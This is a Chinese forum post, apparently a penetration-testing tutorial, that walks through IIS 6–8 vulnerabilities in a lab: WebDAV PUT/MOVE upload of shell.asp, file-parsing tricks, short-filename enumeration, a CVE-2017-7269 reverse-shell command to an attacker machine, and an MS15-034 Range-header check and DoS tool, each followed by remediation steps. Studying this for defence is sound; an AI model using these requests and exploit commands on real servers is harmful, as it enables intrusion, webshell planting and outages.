IIS漏洞大全(附修复方法)

打印 上一主题 下一主题

主题 863|帖子 863|积分 2589

IIS6.0

IIS6.0恣意文件写入

     IlS Server 在 Web 服务扩展中开启了 WebDAV,设置了可以写入的权限,造成恣意文件上传。

漏洞复现


   
fofa:"llS-6.0"  or
当地搭建2003 server
1)开启 WebDAV 和写权限:
  


  

  

  做好准备工作后开启环境,然后我们去访问设置的IP,访问到如下页面

然后开启抓包刷新页面,在抓到的数据包后将其发送到重放器,将请求方式改为OPTIONS后点击发送,在返回包中就可以看到可以利用的请求方式

这里可以直接用PUT方式上传文件,但是不能上传脚本文件,以是为了上传脚本,我们可以先上传一个平凡的1.txt文件,然后利用move方式将其改名为脚本文件的格式

其中PUT /背面跟上我们要上传的文件名,然后在末了一行写上我们要上传的文件的内容,将多余的请求数据都删除,只留下请求头,host以及长度和内容,然后点击发送,出现201则上传乐成

我们回到靶机中刷新查看也发现上传乐成

然后将请求方式改为MOVE后,将数据包改为如下内容后再次点击上传,shell.asp是想改为的名字
  1. MOVE /2.txt HTTP/1.1
  2. Host: 192.168.159.131
  3. Destination: http://192.168.159.131/shell.asp
复制代码

我们到靶机中查看,乐成上传

   漏洞修复

     1.关闭webdav ;        2.关闭写⼊权限 。    IIS6.0解析漏洞

 在iis6.x版本中存在可以将恣意文件当作asp文件解析的漏洞,我们在网站目次下创建一个名为1.asp的文件夹,则在其中的任何文件都会当作asp文件去运行,如下
先在默认网站中右键,点击打开

然后在这里创建一个1.asp的文件夹,再创建一个内容为<%=now()%>(这个函数为查看当前时间)的txt文件,将1.txt放入1.asp中,然后用物理机去访问,即可得到当前时间



用ipconfig查看假造机IP后去物理机访问192.168.209.133/1.asp/1.txt

二.IIS6.x(2)

      当我们在网站目次下创建一个名为1.asp.;.jpg的文件,内容同样为<%=now()%>,当我们去访问时,也会得到当前时间,这证明该文件固然后缀名为jpg,但是他也会被当作asp文件运行。

IIS短⽂件漏洞

   Windows 以 8.3 格式⽣成与 MS-DOS 兼容的(短)⽂件名,以答应基于 MS-DOS 或 16     位 Windows的程序访问这些⽂件。在cmd下输⼊"   dir /x  "即可看到短⽂件名的结果。      原理       当后缀⼩于4时,短⽂件名产⽣必要⽂件(夹)名前缀字符⻓度⼤于即是9位。        当后缀⼤于即是4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名。           ⽬前IIS⽀持短⽂件名推测的HTTP⽅法紧张包括:DEBUG、OPTIONS、GET、POST、HEAD、           TRACE六种; IIS 8.0之后的版本只能通过OPTIONS和TRACE⽅法被推测乐成。       漏洞复现

   IIS8.0以下版本必要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE⽅法也可以猜解乐成。以下通过开启IIS6.0 ASP.NET后进⾏复现。
      
          在这里,我们可以看到有短文件         
                  短⽂件名特征:              1.      只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。假如存在⽂件名类似的⽂                  件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。              
             2.      后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。            
              3. 全部⼩写字⺟均转换成⼤写的字⺟ ;           
               4.      ⻓⽂件名中包含多个” . ”的时间,以⽂件末了⼀个” . ”作为短⽂件名的后缀;              
             5.      ⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且必要⼤于即是9位才会⽣成短⽂                  件名,假如包含空格或者其他部分特别字符,岂论⻓度均会⽣成短⽂件。              
             使⽤payload验证⽬标是否存在IIS短⽂件名漏洞,显示的404,说明⽬标存在该短⽂件名:            
             通过欣赏器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:            
                   根据上面测试可以说明⽬标存在IIS短⽂件漏洞 ;                 判定漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:                 以 abcde11123354566.txt⽂件为例,分别访问 : /a*~1*/a.aspx ;/b*~1*/a.aspx                  
            
             可以发现,a开头的文件由于存在,以是显示404,b开头的文件由于不存在,以是显示badrequest,我们接着猜文件名第二位,            
             aa不存在,我们实行ab,ab存在            
             之后的就按照如许一步一步试全部的字母与数字             而文件后缀名要在~1背面实行,我们先输入.a,返回badrequest,说明ab开头的文件后缀名不是a开头的            
             我们再实行t,返回404,则ab开头的文件后缀名第一个字母是t            
             也是,按照字母次序一个一个实行,末了试出文件名与后缀            
                   下面是IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;                 ⼯具:      https://github.com/lijiejie/IIS_shortname_Scanner                 ⽤法:      python2 iis_shortname_Scan.py http://192.168.159.131/                  
                      漏洞防御

               1.       升级.net framework ;                 2.       修改注册表键值:                 a.       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改                 NtfsDisable8dot3NameCreation为1。                 b.       修改完成后,必要重启体系⽣效。                 c.       命令⾏关闭 fsutil behavior set disable8dot3 1 。                 d.       新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。                 e.       注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建,已经存在的⽂件的短⽂件名⽆法移除,需                 要重新复制才会消 失。假如不重新复制,已经存在的短⽂件名则是不会消失的。                 f.       将web⽂件夹的内容拷⻉到另⼀个位置,如c:\www到c:\ww,然后删除原⽂件夹,再重                 命名c:\ww到 c:\www。                IIS RCE-CVE-2017-7269

              Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的           ScStoragePathFromUrl函数中的缓冲区溢出答应长途攻击者通过以 If:<http:// 开头的⻓标头执           ⾏恣意代码 PROPFIND请求。           影响范围                 WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。      漏洞复现-反弹shell

   同样的,我们再windowserver2003中的iis服务
   这里必要用到一个工具,下载链接为:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
   将其下载到kali中后,利用如下命令运行工具
  
  1. python2 '/root/Desktop/iis6-exploit-2017-CVE-2017-7269-master/iis6-exploit-2017-CVE-2017-7269-master/iis6 reverse shell' 192.168.159.131 80 192.168.159.129 4455
复制代码
  其中第一个ip是我们靶机的ip,也就是server2003的IP,第二个ip为攻击机-也就是kali的IP,以及kali开启监听的端口,开启监听后直接运行命令,稍微等待后即可乐成反弹到shell
   

   

       漏洞防御

         1.关闭 WebDav服务 ;              2.升级 ;              3.部署安全设备 。               IIS 7x

          IIS7⽂件解析漏洞

             在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg背面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。接下来我们实行复现,首先打开设置文件php.ini,查找cgi.fix_pathinfo=1,将前面的分号;删除
   

          然后到网站目次下创建一个名为1.jpg的文件,右键用记事本打开,内容改为<?php phpinfo(); ?>,生存后访问
   

   

          在url背面加上/1.jpg/.php,这个jpg文件就会被当作php文件去运行
   

          HTTP.SYS长途代码执⾏(MS15-034) MS-->Microsoft 2015 -034

                       HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,              从IIS6.0引 ⼊,IIS服务进程依靠HTTP.SYS                      HTTP.SYS长途代码执⾏漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的 Windows体系发送 特别筹划的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,乐成利⽤              此漏洞的攻击者可以在体系 帐户的上下⽂中执⾏恣意代码。                      紧张存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008              R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操纵体系都受到这个漏洞的影响验证这              个漏洞。           漏洞复现

   这次我们去windowserver2012中开启iis服务作为我们的靶机
      
          访问网站后开启抓包再次访问,即可抓到数据包         
         
          在抓到的数据包中,我们加入    Range: bytes=0-18446744073709551615字段后发送,假如返回416Requested Range Not Satisfiable,则存在HTTP.SYS长途代码执⾏漏洞            
          这里我们利用一个工具,其    可以造成⼀个ddos的结果,下载链接:         https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC              在终端运行,利用python3             
             填上地点,端⼝,以及一个存在的图片,这里默认的主⻚图⽚ iis8.5的是(iis-85.png),其他的可以根据百度查,每个版本的欢迎⻚都不⼀样,选择 y               然后就可以看到我们的靶机变卡了,甚至蓝屏         
          漏洞修复

               安装修复补丁(KB3042553)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户国营

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表